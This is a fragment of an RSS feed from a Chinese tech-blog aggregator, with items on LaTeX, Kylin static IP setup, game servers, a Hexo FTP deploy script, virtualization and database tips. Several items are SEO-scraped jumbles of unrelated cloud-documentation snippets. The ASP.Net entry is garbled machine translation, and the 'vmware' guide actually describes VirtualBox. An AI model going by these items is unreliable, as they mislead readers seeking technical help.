      <description>Latex 入门 一 下载我们的TEX 在下载我们的TEX后还需要下载一个编辑器去让编写Latex更加容易&#xA;Option1 : 在vscode 中安装Latex Workshop&#xA;Option2 : 安装Texstudio&#xA;二 Latex的基本结构 \documentclass[UTF8]{ctexart} %声明文章的编码格式，中文1使用UTF8 %从此处直到begin{document}处均为导言区，一般书写文章的配置信息，如引用的包等 \title{LaTex Title} %文章标题 \author{XXX} %作者 \date{\today} %日期，today默认为今天 \usepackage{graphicx} \begin{document} %声明文档开头，此后所有文章内容均在其中书写 \maketitle %打印文章标题等信息，必须有 Hello World! \begin{quote} \end{quote} \begin{equation} a^2 = b^2 + c^2 \end{equation} $\angle ACB = \pi/2$ \end{document} %文档结尾，必须和开头一一对应，否则编译会报错 在Latex中的环境格式一般为&#xA;\begin{环境名} &amp;lt;环境的内容&amp;gt; \end{环境名} 在有些环境中还有可选的参数&#xA;\begin{环境名}[可选参数]&amp;lt;其他参数&amp;gt; &amp;lt;环境内容&amp;gt; \end{环境名} 其实这些东西不是和HTML差不多，同父异母的亲兄弟&#xA;三 数学公式 在要展示公式时，我们通常使用$$去包含我们的公式，但是对于需要单行展示的公式，通常使用如下的环境&#xA;\begin{equation} a^2 = b^2 + c^2 \end{equation} 之后会单独出一章去记录数学公式的学习&#xA;四 使用图表 插图功能并不是由Latex内核直接提供，而是由graphic宏包提供的，要使用graphicx宏包的插图功能，需要在源文件的导言区使用==\usepackage==导入宏包</description>
    </item>
    <item>
      <title>银河麒麟设置静态IP</title>
      <link>https://bchobby.github.io/posts/07658f6811a440b8f95427fea6ca2a78/</link>
      <pubDate>Fri, 13 Aug 2021 16:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07658f6811a440b8f95427fea6ca2a78/</guid>
      <description> 银河麒麟服务器版是基于 debian 系统的。安装完银河麒麟服务器版后，发现 IP 没有分配上。可以采用 debian 的方式来配置：&#xA;1、配置 IP、网关 root@Kylin:~# vi /etc/network/interfaces 添加如下几行：&#xA;auto ens32 iface ens32 inet static address 192.168.154.129 netmask 255.255.255.0 gateway 192.168.154.2 这里之所以写成 ens32 而不是 eth0，是因为我通过 ip addr 命令确认了网卡为 ens32。&#xA;2、配置 DNS root@Kylin:~# vi /etc/resolv.conf 添加如下几行：&#xA;nameserver 192.168.154.2 nameserver 218.85.152.99 nameserver 218.85.157.99 3、重启网络 root@Kylin:~# service networking restart </description>
    </item>
    <item>
      <title>网页服务器端口在哪设置,服务器端口在哪里设置</title>
      <link>https://bchobby.github.io/posts/7ed0a6ccae8243570d39d8a511d944d6/</link>
      <pubDate>Fri, 13 Aug 2021 15:48:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ed0a6ccae8243570d39d8a511d944d6/</guid>
      <description>服务器端口在哪里设置 内容精选&#xA;换一换&#xA;简要介绍iPerf是一种命令行工具，它通过测量服务器可以处理的最大网络吞吐量来测试网络速度，因此在遇到网络速度问题时特别有用，通过该工具可以确定哪台服务器存在性能问题。语言：C/C++一句话概述：网络性能测试工具建议的版本建议版本为iperf-2.0.8。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系&#xA;TCP与UDP的相关知识&#xA;TCP的三次握手具体发生在哪个函数中补充知识：&#xA;TCP的三次握手具体发生在哪个函数中&#xA;在Linux编程中，在进行TCP网络编程时，通常分为客户端和服务器端两个模块. 客户端：&#xA;fd=socket(); //利用socket生成文件描述符fd；b&#xA;来自：博客&#xA;服务器端口在哪里设置 相关内容&#xA;您创建了一个NAT网关，并按照步骤配置了SNAT、DNAT规则，但是您的云主机不能访问互联网或不能为互联网提供服务。配置了NAT网关的网络是否可以连通互联网与路由表配置、安全组配置、网络ACL配置等多个环节相关联。任意一个环节出现问题，都会导致网络不通。本节操作介绍NAT网关配置完成后，网络不通时的排查思路。以下排查思路根据原因的出现概率&#xA;★★★ 如何使用原生 Node.js 操做 cookie？&#xA;★★ 什么是 Node.js？我们在哪里使用它？&#xA;★★ 为什么要使用 Node.js？&#xA;★★★ Node.js 有哪些特点？&#xA;★★★ setImmediate 和 setTimeOut 区别在哪里?&#xA;★★★ 如何更新 Node.&#xA;来自：博客&#xA;服务器端口在哪里设置 更多内容&#xA;用户在FusionInsight Manager界面配置监控指标转储后，系统按转储时间间隔(默认60秒)周期性检测监控指标转储结果，转储失败时产生该告警。转储成功后，告警恢复。监控指标转储失败会影响上层管理系统无法获取到FusionInsight Manager系统的监控指标。无法连接服务器。无法访问服务器上保存路径。上传监控指标文件失败&#xA;该任务指导用户使用Loader将数据从HBase导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HBase表或phoenix表。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。&#xA;该任务指导用户使用Loader将数据从Hive导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Hive表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需要使&#xA;该任务指导用户使用Loader将数据从Spark导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Spark表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需&#xA;背景网络，网络...虽然只是一个简单的名词，但是她的背后却掩藏着太多太多的故事以及知识。穷其编程的一生，或许也只能探索出那冰山一角，嗨...小时虽知，学海无涯，却毫不知意。玩乃天性，却空流时光。憾...so，矫情之余，我们来探索一下网络究竟是怎么传输的。概述探索网络的范围，都在上图有所展示(另存为看&#xA;来自：博客&#xA;您可以根据转码模板的id删除自定义的转码模板。&#xA;客户端通过负载均衡器访问后端服务器异常，负载均衡器的“后端服务器组”页签显示后端服务器的健康检查结果为“异常”。共享型负载均衡在“负载均衡器”界面，单击后端服务器所在的负载均衡器名称，切换到“后端服务器组”页签，在基本信息页面，查看“健康检查结果”列是否显示“异常”。在“负载均衡器”界面，单击后端服务器所在的负载均衡器名称，切换到“后端服&#xA;关于Kubernetes REST API的工作方式：在哪里以及如何定义从REST路径到处理REST调用的函数的映射？与etcd的交互发生在哪里？从客户端发出请求到保存在etcd中对象的端到端路径是怎样的？Kubernetes REST框架Kubernetes REST实现可大致分为三个部分，如下图&#xA;来自：博客&#xA;该任务指导用户使用Loader将数据从SFTP服务器导入到Hive。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Hive表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器上源文件的读取权限。若源文件在导入后文件名要增加后缀，则该用户还需具备源文件的写入权限。检查磁盘空间，确保&#xA;假如您有一个Web应用，由于业务量比较大，需要使用两个弹性云服务器(简称ECS)进行业务负载分担。共享型负载均衡，可以将访问流量根据流量分配策略分发到后端多台服务器，实现业务的负载分担。同时消除了单点故障，提升了业务的可用性。后端服务器的安全组已经开通了业务需要使用的端口(也可以先开通所有端口，业务部署完成后再限制不使用的端口)。具体操作</description>
    </item>
    <item>
      <title>吃鸡游戏对服务器性能,超级服务器已部署!吃鸡国服再爆好消息,游戏速度将会起飞!...</title>
      <link>https://bchobby.github.io/posts/70c16072eb3e898a38c25a1e69beb196/</link>
      <pubDate>Fri, 13 Aug 2021 15:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c16072eb3e898a38c25a1e69beb196/</guid>
      <description>最近有关吃鸡国服的消息越来越多，不过已经有不少小伙伴不太买账了：从年前就说要上线上线，现在连个毛都没有看到，吹的天花乱坠有啥用？的确，吃鸡国服这个饼已经画的够大了，无数国服玩家已经等不及了。前端时间圈内大佬已经爆料了吃鸡通过了文化版署审核。再加上最近官方的疯狂造势，吃鸡国服上线应该越来越近了。2月25日，吃鸡官方微博又宣布了一件大新闻：国服超级服务器已部署！&#xA;根据官博此次的更新内容得知，国服将采用高性能服务器，力保玩家能够流畅体验游戏。在国际服吃鸡想必大家都经常会遇到卡顿的问题，这是传统普通服务器性能不高的锅，导致玩家与服务器之间连接不稳定，而这次腾讯将采用比原先高出两倍价格的超性能服务器，将能很大程度的缓解这一个问题，国服的玩家以后基本不用担心游戏造成的卡顿问题了。&#xA;还有就是跨运营商网络全互联和首次开启下载不限速，这两项在以往腾讯的游戏里几乎是从来没有的。首先是网络运营商，之前想玩游戏基本要选择电信或者联通。至于移动，超高的延迟会让玩家抓狂的。而国服这次实现跨运营商网络全互联，这一波大手笔让大家不需要费心去特意选择宽带了，避免了家里网络不行去网吧玩的情况。&#xA;而下载不限速，这项技术大家应该在STEAM和暴雪战网上体验过，你的带宽有多块，下载速度就有多快。对于百兆用户，吃鸡十多G的客户端只需半小时就可轻松下载完成。这项服务对于腾讯来说是第一次，以前考虑到服务器带宽的问题，下载器往往是进行了限速，只对一些VIP玩家开启了不限速，而这次所有玩家都将能享受到这一待遇，这也能看出国服满满的诚意。&#xA;根据这次官方爆料的消息来看，绝地求生国服基本离上线应该不远了。不知道大家期不期待呢？希望国服可以尽快上线，广大玩家的耐心经不起消耗。各位看官老爷对国服超级服务器部署有什么看法呢？欢迎各位在下方评论区留言。</description>
    </item>
    <item>
      <title>暗黑破坏神3登录显示无效服务器,《暗黑破坏神3》难以登录国服的四大原因</title>
      <link>https://bchobby.github.io/posts/3ad3756931d6a69ee74a0f1a727043e4/</link>
      <pubDate>Fri, 13 Aug 2021 15:34:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ad3756931d6a69ee74a0f1a727043e4/</guid>
      <description>我们这些大陆玩家苦苦等待着大陆地区服务器的开放，而其他地区早就已经因为这样或者那样的问题吵的不亦乐乎。虽说国服如果开放问题肯定也少不了，但是话又说回来了，吵归吵闹归闹，没有服务器这些都是在搞笑。&#xA;而据有关人士分析，《暗黑破坏神3》国服的开设前景并不乐观，其原因主要有以下几点：&#xA;一、如何收费，难以定位。&#xA;当年《暗黑破坏神2》能红遍全国，盗版的确居功至伟。现在暴雪铁了心了，想通过网络来拒绝盗版。恐怕他没有想过，对于中国大陆的游戏消费者来说，一次性花费300-500RMB显然是不太现实的。而如果针对大陆地区的特殊情况采用其他流行的收费方式呢？&#xA;如果国服采用月卡制度，《星际争霸2》的困境是最好的前车之鉴。要是采用点卡制度，《暗黑破坏神》这种无尽的刷刷的游戏，无异于烧钱一样。如果采用道具收费制度，很难想象那些有钱的土豪们面对着一次最多只能容纳4名玩家在同一世界的《暗黑破坏神3》，如何产生炫耀的优越感而不断地购买道具。&#xA;二、税率过高，令人生畏。&#xA;目前国内采用拍卖行交易抽税模式的网游并不多，大陆玩家还是难以适应这种模式的网络游戏。而除去《暗黑破坏神3》金币拍卖行的税率高达15%不说，现金拍卖行更是只要存入PayPal或者其他授权的支付服务提供商时，就要交纳15%的转账费。这掠夺式的霸王条款，恐怕会令很多只想体验，并不一定打算长期尝试的玩家们望而却步。&#xA;三、忠实粉丝，早已东渡。&#xA;就相关数据表示，目前进入各大区服务器体验《暗黑破坏神3》主要为有一定暴雪游戏龄的资深玩家，和有一定财力的高端玩家。这部分用户收入较稳定，有较成熟的价值观和消费观，有独立的判断能力，对游戏有较高忠诚度，流失率较低。&#xA;这些核心玩家已经率先体验了《暗黑破坏神3》。对于《暗黑破坏神3》这种一个人也可以很好地进行游戏的“单机版网络游戏”，并且已经存在繁文客户端的情况下。恐怕即使是国服开启，这帮玩家回归国服可能性很小。&#xA;四、中国特色，其他问题。&#xA;和谐世界，一切尽在不言中。&#xA;基于以上几点，笔者不得不仰天长叹：暴雪，请给大陆玩家一个申诉的机会吧！</description>
    </item>
    <item>
      <title>虚拟机ftp服务器上发布文件,通过Shell脚本以FTP方式上传文件到虚拟主机实现Hexo博客自动发布...</title>
      <link>https://bchobby.github.io/posts/f27333d6376a8c7623c68be534aaf73a/</link>
      <pubDate>Fri, 13 Aug 2021 15:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f27333d6376a8c7623c68be534aaf73a/</guid>
      <description>通过Shell脚本以FTP方式上传文件到虚拟主机实现Hexo博客自动发布&#xA;夜月归途 • 2019 年 12 月 28 日&#xA;写这篇是因为最近将博客从服务器迁移到虚拟主机上了，我需要在Linux服务器上将我的Hexo博客编译后的静态页面上传至虚拟主机上，我的虚拟主机上传文件有且仅有一种方式：FTP。&#xA;先说下我想实现的自动部署流程，我在Jenkins上做了监听，一旦我的Hexo代码仓库有新的提交，会触发任务脚本执行发布操作。具体要做的事都写在Shell脚本上，主要流程如下：脚本配置，配置Hexo工作目录，静态文件上传目录，FTP配置信息等；&#xA;进入Hexo工作目录，更新代码，清除缓存，编译生成静态页面；&#xA;递归读取Hexo静态页面目录，上传博客静态页文件到FTP空间对应的目录；&#xA;执行Hexo deploy命令，发布静态页面，我这里配置的是发布到Github；&#xA;流程大概就是这样，Shell脚本好说，FTP工具命令是踩了不少坑。说实话这FTP工具很不友好，一些常用的功能不支持，比如不能一次创建多级目录，只能一级一级逐层创建。&#xA;那为什么不用Hexo集成的FTPSync上传插件？我试过了，怎么都上传不成功，要么卡在MKDIRs complete.上，要么卡在Committing这里，日志如下：# 初次发布，会先创建文件夹，文件夹创建成功后就卡主了不动了&#xA;...&#xA;- /htdocs/tags/随笔 created successfuly&#xA;- /htdocs/tags/隐式转换 created successfuly&#xA;MKDIRs complete.&#xA;# 到这里卡主不动，退出重新发布一次的话，前面文件夹已经创建了，这时候卡在提交文件这里了&#xA;...&#xA;Remove:[]&#xA;Consolidation complete.&#xA;Committing&#xA;-------------------------------------------------------------&#xA;# 再次卡在这里，FTP空间里目录创建成功了，文件一个没上传上去&#xA;FTPSync插件问题有待后续跟进，其实我做成现在这套流程也是有我自己的用处的，我可以在发布脚本中加入一些自定义操作，配合Jenkins能实现很多实用的功能。&#xA;部署流程有了，那么先安装FTP工具：yum install ftp -y&#xA;关于Linux上FTP工具命令详解文末有附上，这里先贴上我的发布脚本：#!/bin/bash&#xA;# 博客工作目录&#xA;export BLOG_PATH=/develop/hexo&#xA;# 待上传的博客静态文件目录&#xA;export UPLOAD_PATH=/develop/hexo/public&#xA;# FTP空间访问地址&#xA;export FTP_HOST=guitu18.com&#xA;# FTP空间网站根路径&#xA;export FTP_ROOT_PATH=/htdocs&#xA;# FTP用户名&#xA;export FTP_USERNAME=guitu18.com&#xA;# FTP密码&#xA;export FTP_PASSWORD=guitu18.</description>
    </item>
    <item>
      <title>如何用vmware虚拟服务器,虚拟机怎么用,教您vmware虚拟机怎么用</title>
      <link>https://bchobby.github.io/posts/9569919cabfada036a5926baffa7da47/</link>
      <pubDate>Fri, 13 Aug 2021 14:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9569919cabfada036a5926baffa7da47/</guid>
      <description>vmware是一款Windows虚拟机软件，它的功能十分强大，是目前最实用的虚拟器之一，但是很多朋友却还不会使用它，虚拟机是电脑上非常实用的功能之一，那么到底该如何使用虚拟机呢？下面，小编给大家带来了vmware虚拟机的使用图文。&#xA;虚拟机是一个很实用的软件，因为我们可以在虚拟机里面测试一些软件的稳定性，并且虚拟机可以安装好几种系统，操作也很方便。哪款虚拟机好用呢？那肯定是VirtualBox这款了，这么好用的一款虚拟机要如何使用呢？下面，小编跟大家讲解vmware虚拟机的使用方法。&#xA;vmware虚拟机怎么用&#xA;下载安装好VirtualBox虚拟机后，打开软件，点击左上角的新建：&#xA;虚拟机软件电脑图解1&#xA;输入新建的虚拟机的名字：&#xA;vmware电脑图解2&#xA;设置内存大小512以上比较好：&#xA;虚拟机电脑图解3&#xA;直接点创建：&#xA;虚拟机电脑图解4&#xA;选择VDI格式：&#xA;vmware电脑图解5&#xA;选择动态分配：&#xA;虚拟机软件电脑图解6&#xA;设置系统的硬盘大小，可以自己设置文件的保存路径：&#xA;vmware电脑图解7&#xA;点击确定后，一个新的虚拟机就设置好了：&#xA;虚拟机软件电脑图解8&#xA;这是还需要开始为这个虚拟机载入安装光盘了。点击上面的设置：&#xA;虚拟机电脑图解9&#xA;在设置选择里面，点击左侧的存储：&#xA;vmware电脑图解10&#xA;选择载入你的安装光盘：&#xA;vmware电脑图解11&#xA;选择好以后点击确定：&#xA;虚拟电脑图解12&#xA;最后启动：&#xA;vmware电脑图解13&#xA;以上就是vmware虚拟机的使用经验。</description>
    </item>
    <item>
      <title>net返回负载均衡服务器信息,ASP.Net负载均衡</title>
      <link>https://bchobby.github.io/posts/745277d07e3ccaf956921c95de5d6020/</link>
      <pubDate>Fri, 13 Aug 2021 14:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/745277d07e3ccaf956921c95de5d6020/</guid>
      <description>一个负载均衡相关的，你可能希望知道在开发时的问题：您存储您的会话状态。 这MSDN文章给你的选择一个很好的概述。 P&amp;gt; 如果您在使用“出的进程”或“SQL服务器模式”会话状态管理，这将在后面给你一些额外的flexibliity，如果你决定引进一个负载均衡来实现你的asp.net系统已部署的系统： p&amp;gt; 您的负载均衡器不需要处理会话亲缘关系。正如一位海报上面提到的，所有现代负载均衡处理也无妨，所以这是在任何情况下次要的考虑因素。 li&amp;gt; 网络园(一种IIS /服务器实现负载均衡的)需要使用“出的进程”或“SQL服务器模式”会话状态管理。所以，如果你的系统已经配置这种方式，你会更近了一步，能够使用Web的花园。 li&amp;gt; OL&amp;gt; 这是什么？ STRONG&amp;gt; 负载平衡仅仅是指两个或两个以上计算机之间分配工作负荷。作为一个概念，它不是唯一的asp.net。虽然有你的数据库和Web服务器分离的机器可以被称为“负载均衡”，它更常见的是指使用多台机器来服务于一个角色，比如有多个Web服务器。 P&amp;gt; 你应该担心吗？ STRONG&amp;gt;大概不会。你已经有一个性能问题？是你自己的机器上的数据库和Web服务器？如果你发现你的服务器资源紧张，这可能会更容易比列(负载平衡)按比例增加(一个更强大的单机)。这些天来，一个专用的盒子可以处理的流量很多，如果你的代码是体面的。 P&amp;gt;</description>
    </item>
    <item>
      <title>怎么在数据库服务器解压文件,怎么在数据库服务器解压</title>
      <link>https://bchobby.github.io/posts/aa1fbde742c949e0b3e75762fa6a9012/</link>
      <pubDate>Fri, 13 Aug 2021 14:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa1fbde742c949e0b3e75762fa6a9012/</guid>
      <description>怎么在数据库服务器解压 内容精选&#xA;换一换&#xA;本手册介绍数据仓库服务的工具使用，工具简介及版本配套关系如表1所示。&#xA;本章介绍如何在管理控制台购买GaussDB(for openGauss)实例，并通过内网使用弹性云服务器连接GaussDB(for openGauss)实例。GaussDB(for openGauss)提供gsql工具帮助您在命令行下连接数据库，您需要提前创建一台弹性云服务器用于安装gsql工具。创建并连接ECS，请参见弹性云服务器快速入&#xA;怎么在数据库服务器解压 相关内容&#xA;目前数据库服务器备份Agent安装包需要提交工单进行获取。当前仅支持x86计算类型的服务器，暂不支持鲲鹏计算类型的服务器。用户需要启用数据库备份前，需先在弹性云服务器上更改安全组和安装客户端。本章节指导用户下载并安装客户端。安装客户端时，系统会以“rdadmin”用户运行安装程序。请定期修改Agent的操作系统“rdadmin”用户的登录&#xA;您可根据业务需要，参考下载全量备份文件下载备份文件，并通过备份文件进行本地存储备份或者数据恢复。华为云在2020年7月21日~2020年11月3日期间，对PostgreSQL备份文件的解压功能进行了优化，由原先的使用工具解压优化为可以直接解压。在使用过程中需要注意以下几点：2020年7月21日前生成的备份文件包，请使用PostgreSQL&#xA;怎么在数据库服务器解压 更多内容&#xA;在云服务器上部署SAP HANA数据库软件。本章安装以SAP HANA 2.0安装包为例，用户可自行从官网下载安装包，然后将下载的安装包上传到待安装SAP HANA的云服务器“hana001”与“hana002”中的/hana/shared目录下。切换到数据库系统管理员用户，管理员帐号为安装过程中界面提示的账号“s00adm”。su -&#xA;安装Agent后，你才能开启数据库安全审计。通过本节介绍，您将了解如何在Linux操作系统的节点上安装Agent。Windows操作系统的Agent安装请参见安装Agent(Windows操作系统)。已成功购买数据库安全审计实例，且实例的状态为运行中。数据库已成功添加Agent。已获取Linux操作系统Agent安装包。安装Agent节点&#xA;文档数据库服务支持开启公网访问功能，通过弹性IP进行访问。您也可通过弹性云服务器的内网访问文档数据库。要将已有的MongoDB数据库迁移到文档数据库，需要先使用mongoexport工具对它做转储。再通过弹性云服务器或可访问文档数据库的设备，使用mongoimport工具将转储文件导入到文档数据库服务。建议您尽量选择在业务低峰期迁移数据，&#xA;WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上搭建属于自己的网站，本文教您通过华为云虚拟私有云、弹性云服务器和RDS MySQL数据库，轻松几步，在LAMP环境下搭建WordPress。设置网络购买弹性云服务器搭建LAMP环境购买并配置RDS安装WordPress在搭建过程中，您会使用以&#xA;华为云数据库安全服务帮助中心，为用户提供产品简介、购买指南、用户指南、快速入门、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用数据库安全服务。&#xA;本手册基于华为云关系型数据库实践所编写，用于指导您完成相关设置，购买更符合业务的数据库实例。&#xA;安装MySQL本文档以“CentOS 6.5 64bit(40GB)”操作系统为例，对应MySQL版本为5.1.73。CentOS 7及以上版本将MySQL数据库软件从默认的程序列表中移除，需执行sudo rpm -Uvh http://dev.mysql.com/get/mysql-community-release-el7-5.noa&#xA;本文以Linux操作系统为例，介绍如何将已下载的副本集备份文件的数据恢复至自建数据库。关于如何下载备份文件，请参见下载备份文件。该方法仅适用于副本集实例。本地自建MongoDB数据库已安装3.4版本客户端工具。假设路径“/path/to/mongo”为执行恢复操作所在路径，路径“/path/to/mongo/data”为备份文件所在路径。&#xA;安装Agent后，你才能开启数据库安全审计。通过本节介绍，您将了解如何在Windows操作系统的节点上安装Agent。Linux操作系统的Agent安装请参见安装Agent(Linux操作系统)。已成功购买数据库安全审计实例，且实例的状态为运行中。数据库已成功添加Agent已获取Windows操作系统Agent安装包。安装Agent节点的&#xA;如果您已经开通了华为云数据仓库服务(DWS)，并已在DWS里创建了数据库，可参考本章节直接将DWS创建的云数据库数据添加到DSC里。已获取管理控制台的登录帐号与密码。已完成数据库资产委托授权，参考云资源委托授权/停止授权进行操作。已开通DWS服务，且DWS中已有资产，且对应子网下含有可用的IP配额。数据库添加完成后，该数据库的连通性为检查&#xA;用户在部署MySQL或SAP HANA等数据库的云服务器上，已成功安装数据库服务器备份的Agent，但执行数据库服务器备份出现失败的情况。没有按照云备份最佳实践《通过自定义脚本实现数据库备份》修改解冻和冻结的脚本。根据不同的数据库，参考云备份最佳实践《通过自定义脚本实现数据库备份》完成修改解冻和冻结的脚本后，再执行数据库服务器备份。</description>
    </item>
    <item>
      <title>华为服务器鼠标不响应,华为电脑鼠标没反应是什么原因啊</title>
      <link>https://bchobby.github.io/posts/4cd9f2fa4c3df03239c43342fa30fca4/</link>
      <pubDate>Fri, 13 Aug 2021 12:45:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd9f2fa4c3df03239c43342fa30fca4/</guid>
      <description>大家好，我是时间财富网智能客服时间君，上述问题将由我为大家进行解答。&#xA;以HUAWEI MateBook 14为例，华为电脑鼠标没反应的原因是：&#xA;1、供电问题，可能是USB接口没有数据传输，换用其他USB接口。&#xA;2、驱动问题，重新安装驱动或者更新驱动即可。&#xA;3、鼠标坏掉，更换新鼠标即可。&#xA;鼠标(Mouse)是一种很常见及常用的电脑输入设备，它可以对当前屏幕上的游标进行定位，并通过按键和滚轮装置对游标所经过位置的屏幕元素进行操作。鼠标的鼻祖于1968年出现，美国科学家道格拉斯・恩格尔巴特(Douglas Englebart)在加利福尼亚制作了第一只鼠标，因形似老鼠而得名，“鼠标”的标准称呼应该是“鼠标器”，鼠标的使用是为了使计算机的操作更加简便，来代替键盘繁琐的指令。鼠标按其工作原理的不同分为机械鼠标和光电鼠标，机械鼠标主要由滚球、辊柱和光栅信号传感器组成。当你拖动鼠标时，带动滚球转动，滚球又带动辊柱转动，装在辊柱端部的光栅信号传感器采集光栅信号。传感器产生的光电脉冲信号反映出鼠标器在垂直和水平方向的位移变化，再通过电脑程序的处理和转换来控制屏幕上光标箭头的移动。</description>
    </item>
    <item>
      <title>mfc服务器客户端间传输文件,mfc服务器客户端间传输文件</title>
      <link>https://bchobby.github.io/posts/fe577cd991e58fe841fd6db9965eb698/</link>
      <pubDate>Fri, 13 Aug 2021 12:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe577cd991e58fe841fd6db9965eb698/</guid>
      <description>mfc服务器客户端间传输文件 内容精选&#xA;换一换&#xA;已成功登录鲲鹏分析扫描工具。只有管理员用户(depadmin)可以执行生成CSR文件、导入web服务器证书、重启和更换工作密钥的操作。普通用户只能查看web服务端证书信息。SSL证书通过在客户端浏览器和web服务器之间建立一条SSL安全通道(访问方式为HTTPS)，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。&#xA;CA证书相关的数字文件，由认证权威经过数字签名，包含公开密钥拥有者信息、公开密钥签发者信息、有效期以及一些扩展信息。通过CA证书在客户端和服务器之间建立安全通道保证双方传递信息的安全性。当CA证书不能满足当前的安全需求，或者CA证书已经过期时，需要替换新的CA证书，以保证系统的安全性。已获取弹性云服务器的登录帐号和密码。已获取新的CA证书&#xA;mfc服务器客户端间传输文件 相关内容&#xA;该操作指导安装工程师安装MRS集群所有服务(不包含Flume)的客户端。Flume客户端安装请参见安装Flume客户端。客户端可以安装集群内节点，也可以安装在集群外节点，本章节以安装目录“/opt/hadoopclient”为例进行介绍，请以实际集群版本为准。安装目录可以不存在，会自动创建。但如果存在，则必须为空。目录路径不能包含空格。客&#xA;Web服务端证书用于客户端浏览器和web服务器之间的通讯，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。为提高安全性，建议替换成自己的证书，并及时更新证书，保证证书的有效性。已成功登录鲲鹏代码迁移工具。只有管理员(portadmin)可以执行生成CSR文件、导入web服务器证书、下载根证书，重启和更换工作密钥的&#xA;mfc服务器客户端间传输文件 更多内容&#xA;Web服务端证书用于客户端浏览器和web服务器之间的通讯，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。为提高安全性，建议替换成自己的证书，并及时更新证书，保证证书的有效性。已成功登录鲲鹏代码迁移工具。只有管理员(portadmin)可以执行生成CSR文件、导入web服务端证书、下载根证书，重启服务和更换工作密&#xA;本节定义了VR云渲游平台上报云监控的监控指标的命名空间、监控指标列表和维度定义，用户可以通过云监控检索VR云渲游平台产生的监控指标和告警信息。SYS.CVR表1 监控指标说明指标指标名称含义取值范围测量对象监控周期error_in_degree黑边度横向Fov上的黑边角度。单位：°≥ 0 °云服务器1分钟physical_latency物&#xA;为了实现通过NAT Server可使用SSH协议跳转到SAP HANA节点的功能，以及SAP HANA节点和NAT Server互相通过SSH协议跳转的功能，需要配置服务器之间的互信。在本地PC上，生成登录NAT Server的密钥文件。在创建NAT Server时，指定了NAT Server的证书密钥文件(.pem文件)。需要通过该密钥&#xA;Web服务端证书用于客户端浏览器和web服务器之间的通讯，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。为提高安全性，建议替换成自己的证书，并及时更新证书，保证证书的有效性。已成功登录鲲鹏代码迁移工具。只有管理员(portadmin)可以执行生成CSR文件、导入web服务器证书、下载根证书，重启和更换工作密钥的&#xA;以NTP服务器、DNS服务器的操作系统均为SUSE为例：登录Linux弹性云服务器。执行以下命令，切换至root用户。sudo su -sudo su -执行以下命令，编辑ntp.conf文件。vim /etc/ntp.confvim /etc/ntp.conf添加以下语句，配置NTP服务器。server NTP服务器域名或IP地址示例：&#xA;Web服务端证书用于客户端浏览器和web服务器之间的通讯，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。为提高安全性，建议替换成自己的证书，并及时更新证书，保证证书的有效性。已成功登录鲲鹏代码迁移工具。只有管理员(portadmin)可以执行生成CSR文件、导入web服务器证书、下载根证书，重启和更换工作密钥的&#xA;用户在弹性云服务器里可以通过手动安装客户端或一键部署客户端的方法，使用HBase Shell访问集群。推荐使用一键部署客户端的方法。使用一键部署客户端工具，建议Linux弹性云服务器的操作系统类型为EulerOS，CentOS，Ubuntu和SUSE。具体操作请参见准备弹性云服务器。使用SSH登录工具(如PuTTY)通过“弹性IP”远程登&#xA;本章节介绍使用PHP访问GaussDB(for Redis)实例的方法。已成功创建GaussDB(for Redis)实例，且实例状态为“正常”。已创建弹性云服务器，创建弹性云服务器的方法，请参见《弹性云服务器快速入门》中“创建弹性云服务器”章节。弹性云服务器上已经安装GCC等编译工具。内网IP地址和端口的查看方法请参见查看IP地址和端口&#xA;用于IDE-daemon-host(作为服务端)和IDE-daemon-client(作为客户端)之间的双向认证。在Atlas 300场景下，IDE-daemon-host部署在Host侧：若不安装DDK，IDE-daemon-client部署在Host侧；若安装DDK，IDE-daemon-client部署在Host侧和DDK(devi&#xA;Web服务端证书用于客户端浏览器和web服务器之间的通讯，实现数据信息在客户端和web服务器之间的加密传输，可以防止数据信息的泄露。为提高安全性，建议替换成自己的证书，并及时更新证书，保证证书的有效性。已成功登录鲲鹏代码迁移工具。只有管理员(portadmin)可以执行生成CSR文件、导入web服务端证书、下载根证书，重启服务和更换工作密&#xA;客户端的hbase-site.xml文件如果您部署了HBase Shell客户端，您就可以配置客户端目录下的“hbase/conf/hbase-site.xml”文件。如果您部署了HBase Shell客户端，您就可以配置客户端目录下的“hbase/conf/hbase-site.xml”文件。服务器端的hbase-site.xml文件您</description>
    </item>
    <item>
      <title>服务器虚拟化选型对比,虚拟化软件选型对比.pdf</title>
      <link>https://bchobby.github.io/posts/eedb1b8eeb2a0f958bf652c47c753bb6/</link>
